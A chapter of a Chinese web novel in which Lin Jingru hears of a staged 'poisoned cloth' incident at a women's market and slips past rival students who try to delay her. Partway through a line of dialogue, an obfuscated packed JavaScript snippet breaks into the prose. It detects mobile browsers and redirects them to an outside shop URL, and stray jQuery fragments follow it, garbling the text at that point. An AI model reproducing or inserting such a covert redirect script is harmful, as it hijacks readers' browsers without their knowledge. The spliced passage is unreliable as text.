“不好了,出事了!”衙役的声音压得很低,带着喘息的急促,显然是一路疾行而来。
林景如不再多言,手下动作加快,利落地将书匣提起,同时以眼神示意衙役跟上。
“出去说。”
而后她转身朝讲堂侧门走去,步履稳当,声音平静带着不容置疑的力度
两人一前一后,迅速穿过略显拥挤的过道,将时不时传来的窃窃私语与各异目光抛在身后。
直到走出讲堂,来到一处相对僻静的回廊转角,远离了众人,林景如才缓了缓脚步。
“何处出事?慢慢说清楚。”她声音不高,却自有一种让人镇定下来的力量。
那衙役正是王班头麾下的得力人手,姓赵,此前张贴市集新榜、巡查秩序时都与林景如打过交道,彼此认得。
他抬手抹了把额角的汗,语速极快却尽量清晰地回禀:
“是盛兴街!今日早间,一个妇人在街东头李寡妇的布摊上买了匹花布。可没过多久,那妇人就由她夫君搀扶着找回来了,说是回家后浑身发痒,起了大片红疹!现下那妇人的夫君正在摊前大闹,指责布匹不干净,惹来许多人围观,群情激愤,场面快要压不住了!王头儿正带着兄弟们竭力维持,特意让小的快马加鞭赶来请您!”
“起疹子?”林景如眉心微蹙,眸中闪过一丝锐利的思量,“可请郎中看过?那妇人症状究竟如何?”
“那妇人一直用帕子捂着脸哭,她夫君倒是激愤,当众掀开了她的衣袖——好家伙,露出的半截小臂上密密麻麻全是红点子,又红又肿,看着确实吓人!他们一口咬定就是那布有问题,沾了不干净的东西。郎中还未到,他们便闹将起来了。”
“除了这一家,今日可还有其他买家因布匹或别的货物上门理论?”林景如追问道,向外走的步子加快了些。
赵衙役闻言,脸上现出几分古怪与为难,声音低了下去:
“蹊跷就蹊跷在这儿……李寡妇那摊位,今日统共就卖出去那一匹布,而且……”
他迟疑了一下,抬眼看了看林景如的神色。
“而且不光是布匹,这几日,街上其他几个卖糕饼、熟食的娘子摊子,也零星有人找来说吃食不干净,闹了肚子。只是前几回动静小,摊主赔个不是、退些银钱也就了了,王头儿只当是寻常市井纠纷,没敢拿这些琐事烦扰您……”
“这几日?接连有事?”林景如的声音陡然一沉,那双惯常平静的浅眸此刻幽深如潭,锐利的目光如有实质,“我前番是如何交代的?但凡市集有任何异状,无论大小,必须即刻报我知晓!”
赵衙役被她目光所慑,下意识低下头,讷讷道:
“头儿……头儿原以为只是巧合,或是天气热了,食材存放不易,又或是有人挑剔难缠……觉着咱们自己能处置,便没敢叨扰您学业……”
林景如听罢,没再说话,只是忽然想起刚才离开讲堂,她与施明远、陈玏智等人擦肩而过时,那几人的目光里尽是等着看好戏的挑衅与得意。
此刻再联系这衙役的回报——几日来的“小麻烦”作为铺垫试探,直到今日这精心挑选的、仅有一桩买卖的布摊爆发“中毒”大案……这哪里是什么巧合?
她心底一沉,这明显是冲着“女子市集”来的。
对方一步步试探防卫的疏漏,而自己千防万嘱,却终究因为手下人一时“怕打扰”的判断,给了对方可乘之机!
即便心中忧虑渐深,但面上却未显露分毫,反而越发沉着。越是如此,越不能乱。
“走,即刻回城。”
她果断道,脚步已转向书院大门方向,速度加快,声音却保持着惯有的沉稳,一边走一边与衙役分析。
“这此前种种,或许都是投石问路,见我等未有雷霆反应,便以为有机可乘,今日之事,恐怕才是其真实目的。”
两人说话间,已疾步穿过书院前庭。
赵衙役拴在门外栓马石上的马匹正不安地踏着蹄子,显示出来时的匆忙。
从麓山书院到城内,骑马通常需小半个时辰,若快马加鞭,或可缩短至一炷香多点的时间。
方才在讲堂内已耽搁片刻,此刻更是分秒必争。
林景如正欲从衙役手中接过马匹缰绳,一阵不紧不慢的脚步声伴着熟悉的语调响起:
“哟,林兄这般行色匆匆,连书匣都来不及放回斋舍,是出了什么了不得的大事么?”
抬眼看去,正是施明远、陈玏智几人,恰从大门内踱步而出。
施明远脸上是毫不掩饰的得意与讥诮,目光在林景如和那焦急的衙役身上转了一圈,慢悠悠地拦在了马前。
陈玏智也嬉皮笑脸地凑上前,站在施明远侧后方,形成了半包围之势。
而不远处的石阶上,贺孚静静立着,一副置身事外、纯然看客的模样,只是那微微上扬的唇角,泄露了他内心的某种期待。
看到这幅情景,林景如心中最后一丝疑虑也烟消云散今日之局,定然与眼前这几人脱不了干系!
所有事情在她心中转了一圈,或许此事并非是冲着“女子市集”去的,而是冲着她来的。
怒火中烧,却知此刻若流露出半分焦急或怒意,正中对方下怀,或许还会变本加厉地纠缠拖延。
她勒住马缰,目光平静地迎向施明远,面色悠闲,嘴角带着一丝不达眼底的浅笑:
“施公子说笑了,下了学,自然归家。难道要如施公子一般,有闲情逸致在此‘关心’同窗行程么?”
见她言语带刺却神色镇定,施明远竟也不恼,好整以暇地又往前踱了半步,几乎要贴上马头:
“林兄这话,可就伤了同窗之谊了,我不过是见林兄面色凝重,衙役兄弟又形色匆忙,出于关切问上一句罢了。”
林景如一边稳住马,一边用余光扫过一脸着急模样的衙役,见对方拦在自己身前,更是确定此事是眼前几人共谋。
“是啊林兄。”
陈玏智在一旁帮腔,又故作好学:
“上次拜读林兄那篇论女子营生的雄文,其中有一段关于‘市易公平’的论述,陈某愚钝,反复研读仍有一二处不明,正想寻个机会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032235|192531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向林兄当面请教。择日不如撞日,林兄可否拨冗指点一二?”
他难得说这样客气的话,脚下也站得稳,毫无让开之意。
林景如眼角的余光瞥见衙役急得额头冒汗,频频看向城内方向,又畏惧地瞅着拦路的两位世家子弟,不敢造次。
她心知不能再与他们在此虚与委蛇,浪费时间。
当下,她面色一肃,不再与他们做口舌之争,而是抬出了温奇,声音清朗:
“你们也看到了,林某确有公务在身,温大人有命,衙门急召,需即刻返回处置。二位若是好奇,不妨稍后去衙门询问温大人,只是此刻……”
她目光扫过二人,语气转冷,带着一丝不容置疑。
“还请速速让开,若是耽误了公务,这干系……恐怕二位也未必担待得起。”
“温大人之命?”施明远眉毛一挑,仍旧挡在马前,阴阳怪气道,“温大人既然准许林兄复学,自是盼林兄以学业为重,深研圣贤之道。林兄莫不是又将心思放在了那些个……旁门左道的杂务之上,以至于连大人的殷切期望都抛诸脑后了?”
“旁门左道?”林景如重复了一遍这四个字,眼神骤然变得锐利难当,“我劝你慎言!温大人亲自主持的新政市集,为的是安顿民生,在你口中竟成了‘旁门左道’?此话若传到大人耳中,或是被有心人参上一本,即便尊府家严,恐怕也要费些周折才能为你开脱!”
她不等施明远变色反驳,紧接着又道,语速平稳却字字清晰:
“二位在此再三阻拦,究竟是不信林某,还是……不信温大人之命?抑或是……”
她微微倾身,压低了声音,却带着冷冽的寒意。
“想亲自试试,耽搁了朝廷急务,山长知晓是二位这‘勤学好问’所致,会如何?”
提到岑文均,施明远与陈玏智脸色皆是一变。
几日前山长的警告还历历在目,此刻见她再次提起,不由生了些忌惮。
就在二人愣神的瞬间,林景如眼中精光一闪,猛地一抖缰绳,脚下轻磕马腹,同时手腕用力一带——那马儿发出一声轻嘶,灵巧地一个侧步转身,便从施明远与陈玏智之间的空隙中,滑了出去。
“驾!”
清冽的喝声响起时,林景如已策马冲出了数丈之外,风卷起翻飞的衣角,头也未回,向着回城的道路迅速疾驰,只留下一路轻尘。
赵衙役见状,哪敢怠慢,没了马,只能小跑着追了出去。
待施明远与陈玏智回过神来,那一人一马的身影已然逐渐变小,消失在葱郁的山道之间。
“混账!”
施明远脸上的得意与戏谑被铁青的怒色取代,一股被戏耍的羞愤直冲顶门,无处发泄,猛地抬脚,狠狠踹在身旁的栓马木桩上,发出“咚”的一声闷响。
木桩摇晃,尘土簌簌落下,却丝毫缓解不了他胸中翻腾的恶气。
石阶上的贺孚,望着山道尽头早已不见的身影,又看了看气急败坏的施明远,脸上那抹旁观者的淡笑渐渐收敛,眼底掠过一丝几不可查的复杂神色。